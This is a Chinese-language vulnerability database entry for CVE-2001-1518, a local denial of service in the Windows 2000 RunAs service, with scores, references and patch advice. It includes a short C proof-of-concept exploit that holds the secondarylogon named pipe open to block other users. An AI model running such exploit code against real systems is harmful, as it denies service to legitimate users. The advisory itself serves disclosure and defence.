CVE-2001-1518
CVSS2.1
发布时间 :2001-12-31 00:00:00
修订时间 :2008-09-05 16:26:45
NMCOE    

[原文]RunAs (runas.exe) in Windows 2000 only creates one session instance at a time, which allows local users to cause a denial of service (RunAs hang) by creating a named pipe session with the authentication server without any request for service. NOTE: the vendor disputes this vulnerability, however the vendor also presents a scenario in which other users could be affected if running on a Terminal Server. Therefore this is a vulnerability.


[CNNVD]Microsoft Windows 2000 RunAs Service服务拒绝漏洞(CNNVD-200112-200)

        Windows 2000的RunAs (runas.exe)每次只创建一个会议实例,本地用户可以通过创建带有无任何服务请求的认证服务器的命名管道会话导致服务拒绝(RunAs挂起)。

- CVSS (基础分值)

CVSS分值: 2.1 [轻微(LOW)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:microsoft:windows_2000::sp1:professionalMicrosoft Windows 2000 Professional SP1
cpe:/o:microsoft:windows_2000::sp2:professionalMicrosoft Windows 2000 Professional SP2
cpe:/o:microsoft:windows_2000:::professional

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1518
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-1518
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200112-200
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/3291
(UNKNOWN)  BID  3291
http://www.iss.net/security_center/static/7533.php
(UNKNOWN)  XF  win2k-runas-dos(7533)
http://cert.uni-stuttgart.de/archive/bugtraq/2001/11/msg00100.html
(UNKNOWN)  BUGTRAQ  20011114 RE:Radix Research Reports RADIX1112200101, RADIX1112200102, and RADIX1112200103

- 漏洞信息

Microsoft Windows 2000 RunAs Service服务拒绝漏洞
低危 设计错误
2001-12-31 00:00:00 2005-10-20 00:00:00
远程  
        Windows 2000的RunAs (runas.exe)每次只创建一个会议实例,本地用户可以通过创建带有无任何服务请求的认证服务器的命名管道会话导致服务拒绝(RunAs挂起)。

- 公告与补丁

        The fix for this vulnerability will reportedly be included in Service Pack 3.
        Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com .

- 漏洞信息 (21099)

Microsoft Windows 2000 RunAs Service Denial of Services Vulnerability (EDBID:21099)
windows dos
2001-12-11 Verified
0 Camisade
N/A [点击下载]
source: http://www.securityfocus.com/bid/3291/info

The Windows 2000 RunAs service allows an application or service to be executed as a different user. It is accessed by holding down the shift key and right mouse clicking on an icon, then selecting 'Run as...' from the context menu.

When the service is invoked, it creates a named pipe session with the specified server for authentication of credentials. The RunAs service only allows one instance of this session at a time. If a client were to create this pipe on the server without requesting any service, other clients would be unable to connect to this service. 

// radix1112200103.c - Camisade - Team RADIX - 11-12-2001
//
// Camisade (www.camisade.com) is not responsible for the use or
// misuse of this proof of concept source code.

#define WIN32_LEAN_AND_MEAN
#define UNICODE
#define _UNICODE

#include <windows.h>
#include <tchar.h>

#include <stdio.h>
#include <conio.h>

#define SECLOGON_PIPE   _T("\\\\.\\pipe\\secondarylogon")


void main()
{
   HANDLE hPipe;

   hPipe = CreateFile(SECLOGON_PIPE, GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
   if (hPipe == INVALID_HANDLE_VALUE)
   {
      printf("Unable to open pipe, error %d\n", GetLastError());
      return;
   }

   printf("Connected to pipe.  Press any key to disconnect.\n");
   getche();

   CloseHandle(hPipe);
}

		

- 漏洞信息

20221
Microsoft Windows 2000 runas.exe Named Pipe Single Thread DoS
Local Access Required Denial of Service
Loss of Availability
Exploit Public

- 漏洞描述

Microsoft Windows 2000 contains a flaw that may allow a local denial of service. The issue is triggered when a RUN AS dialog is opened and never closed. The operating system can service only one such dialog at a time, preventing other users from usign the RUN AS service.

- 时间线

2001-11-12 Unknow
2001-11-12 Unknow

- 解决方案

Upgrade to Service Pack version 3 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

 

 

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